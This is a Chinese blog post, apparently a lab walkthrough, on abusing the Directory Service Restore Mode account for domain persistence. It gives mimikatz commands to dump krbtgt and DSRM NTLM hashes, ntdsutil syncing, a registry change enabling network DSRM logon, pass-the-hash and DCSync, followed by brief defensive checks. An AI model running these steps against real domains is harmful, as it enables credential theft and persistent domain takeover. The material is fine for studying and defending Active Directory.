一、DSRM简介 
  1.DSRM(Diretcory Service Restore Mode,目录服务恢复模式)是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。
  2.修改DSRM密码的方法
  在域控制器上打开命令行环境,输入“ntdsutil”,常用命令如下:
  set dsrm password :设置dsrm密码
  reset password on server null :在当前域控制器上恢复dsrm密码
  q :退出
  
 
  如果域控制器版本是windows2008(已安装KB961320)及以上,可以将DSRM密码同步为已存在的域用户密码。
ntdsutil # 打开命令行
set dsrm password
sync from Domain Account domainusername # 使dsrm的密码和指定域用户的密码同步。
q:退出
 
二、.实验操作
(1)使用mimikatz查看krbtgt的NTLM Hash
在域控制器中打开mimikatz,看到krbtgt的NTLM Hash为:ffc79c6f14bb2c39e6ceab183cefc9c5
privilege::debug
lsadump::lsa /patch /name:krbtgt
或者
mimikatz privilege::debug "lsadump::lsa /patch /name:krbtgt" > krbtgt.txt
 
(2)使用mimikatz读取SAM文件中本地管理员(DSRM)的NTLM Hash
在域控制器中打开mimikatz,获得DSRM账号的NTLM Hash为:579da618cfbfa85247acf1f800a280a4
privilege::debug
token::elevate
lsadump::sam
 
(3)将DSRM账号和krbtgt 的NTLM Hash同步
ntdsutil
set dsrm password
sync from Domain Account krbtgt
 
(4)查看dsrm的NTLM Hash是否同步成功
通过mimikatz,得到dsrm账号的NTLM Hash为:ffc79c6f14bb2c39e6ceab183cefc9c5
mimikatz privilege::debug token::elevate lsadump::sam
 
(5)修改dsrm的登录方式
在注册表中新建HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior项。
  DSRM的三种登录方式:
  0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
  1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
  2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。
  在windows server 2000以后版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制.
如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2,可用powershell进行更改。
New-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -PropertyType DWORD
查看注册表,发现已经DsrmAdminLogonBehavior键值已设置为2.
 
(6)使用DSRM账号通过网络远程登录域控制器
使用mimikatz进行哈希传递,在域成员机器的管理员模式下打开mimikatz,输入如下命令:
privilege::debug
sekurlsa::pth /domain:DC /user:administrator /ntlm:ffc79c6f14bb2c39e6ceab183cefc9c5

(7)还用mimikatz的dcsync 功能远程转储krbtgt的NTLM Hash
在哈希传递完成后,会弹出一个命令行窗口,在该命令行窗口中打开mimikatz。输入如下命令:
mimikatz "lsadump::dcsync /domain:payload.com /dc:win-dc /user:krbtgt"
需要注意路径:新开的窗口在system32下,需要切换到mimikatz所在目录操作。
 
三、DSRM更改的防御措施
  1.定期检查注册表中用于控制DSRM登录方式的键值HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,确认该键值为1,或者删除该键值。
  2.定期修改域中所有域控制器的DSRM账号。
  3.经常检查ID为4794的日志,尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

yukongDSRM账户安全防护的更多相关文章

  1. XSS 前端防火墙 —— 天衣无缝的防护

    上一篇讲解了钩子程序的攻防实战,并实现了一套对框架页的监控方案,将防护作用到所有子页面. 到目前为止,我们防护的深度已经差不多,但广度还有所欠缺. 例如,我们的属性钩子只考虑了 setAttribut ...

  2. 细数iOS上的那些安全防护

    细数iOS上的那些安全防护  龙磊,黑雪,蒸米 @阿里巴巴移动安全 0x00 序 随着苹果对iOS系统多年的研发,iOS上的安全防护机制也是越来越多,越来越复杂.这对于刚接触iOS安全的研究人员来说非 ...

  3. 关于web软件信息安全问题防护资料的整理 (一)

    之前意识到了安全问题的重要性,于是就在网上找了一下安全问题的解决办法(主要是web应用以及政府网站方面的),问了一下同学的公司是怎么保证安全的,跟我说用的是shiro安全机制这个貌似好多公司都在用,网 ...

  4. 利用其它带文件防护功能的软件防止*.asp;*.jpg写入文件。

    此木马是一个.NET程序制作,如果你的服务器支持.NET那就要注意了,,进入木马有个功能叫:IIS Spy,点击以后可以看到所有站点所在的物理路径.以前有很多人提出过,但一直没有人给解决的答案.. 防 ...

  5. Activity劫持实例与防护手段

    原文地址:Activity劫持实例与防护手段 作者:cjxqhhh (本文只用于学习技术,提高大家警觉,切勿用于非法用途!)   什么叫Activity劫持   这里举一个例子.用户打开安卓手机上的某 ...

  6. 用Qt写软件系列五:一个安全防护软件的制作(1)

    引言 又有许久没有更新了.Qt,我心爱的Qt,为了找工作不得不抛弃一段时间,业余时间来学一学了.本来计划要写一系列关于Qt组件美化的博文,但是写了几篇之后就没坚持下去了.技术上倒是问题不大,主要是时间 ...

  7. 关于web软件信息安全问题防护资料的整理(三)

    了解了web系统的安全威胁,那么我们应该怎样防范这些安全威胁呢? 1.时刻准备应战 Web应用系统所面临的威胁是非常严峻的.不管攻击的一方是采用单一形式的攻击,还是采用混合多种手段的混合攻击,作为防护 ...

  8. 关于web软件信息安全问题防护资料的整理(二)

    想要做好软件的安全防护,首先就得了解web系统的安全威胁,那么web系统都存在哪些威胁呢? 应用层攻击.网络层攻击和混合攻击. 传统被动.单点以及彼此孤立的防护手段已不能应对越来越严峻的安全威胁. 改 ...

  9. Nginx 支持 WAF 防护功能实战

    WAF(Web Application Firewall),中文名称叫做“Web应用防火墙 WAF的定义是这样的:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提 ...

随机推荐

  1. Linux Cgroup浅析

    cgroup从2.6.4引入linux内核主线,目前默认已启用该特性.在cgroup出现之前,只能对一个进程做资源限制,比如通过sched_setaffinity设置进程cpu亲和性,使用ulimit ...

  2. 小白学 Python 爬虫(38):爬虫框架 Scrapy 入门基础(六) Item Pipeline

    人生苦短,我用 Python 前文传送门: 小白学 Python 爬虫(1):开篇 小白学 Python 爬虫(2):前置准备(一)基本类库的安装 小白学 Python 爬虫(3):前置准备(二)Li ...

  3. 【官方文档翻译】SpringBootActuator生产特性

    翻译自 spring-boot 官方文档(版本:2.2.2.RELEASE) Spring Boot包含了许多附加功能,可以帮助您在将应用程序推送到生产环境时监视和管理它.您可以选择使用HTTP端点或 ...

  4. 一张图快速上手Xmind思维导图

    使用软件:Xmind8 pro版(可在网上找破解版),应用广泛,功能强大

  5. 异数OS 星星之火(一)-- 异数OS-织梦师云 用户使用手册

    . 异数OS 星星之火(一)– 异数OS-织梦师云 用户使用手册 本文来自异数OS社区 github: https://github.com/yds086/HereticOS 异数OS社区QQ群: 6 ...

  6. spring boot的日常配置

    配置篇 #数据库连接配置msql spring.datasource.url:jdbc:mysql://127.0.0.1:3306/test spring.datasource.username: ...

  7. [题解]CSP2019 Solution - Part A

    至于为什么是 \(\text{Part A}\) 而不是 \(\text{Day 1}\) 那是因为 Day1 T3 还没改 (那这六题的 \(\text{solution}\) 就按难度顺序写吧) ...

  8. Linux下Tomcat,mysql安装包及教程整合,

      前段时间孔老师给了一个虚拟机,自己瞎捣鼓,装了Tomcat和mysql,捣鼓了好几天,把一些安装包和试过还不错的博客整理出来:  老师给的已经装好了Linux系统和JDK. Tomcat9安装包 ...

  9. C语言进阶——全局变量

    全局变量 ·定义在函数外面的变量是全局变量 ·全局变量具有全局的生存期和作用域 ·它们与任何函数都无关 ·在任何函数内部都可以使用它们 全局变量初始化 ·没有做初始化的全局变量会得到0值 ·指针会得到 ...

  10. 「 深入浅出 」java集合Collection和Map

    本系列文章主要对java集合的框架进行一个深入浅出的介绍,使大家对java集合有个深入的理解. 本篇文章主要具体介绍了Collection接口,Map接口以及Collection接口的三个子接口Set ...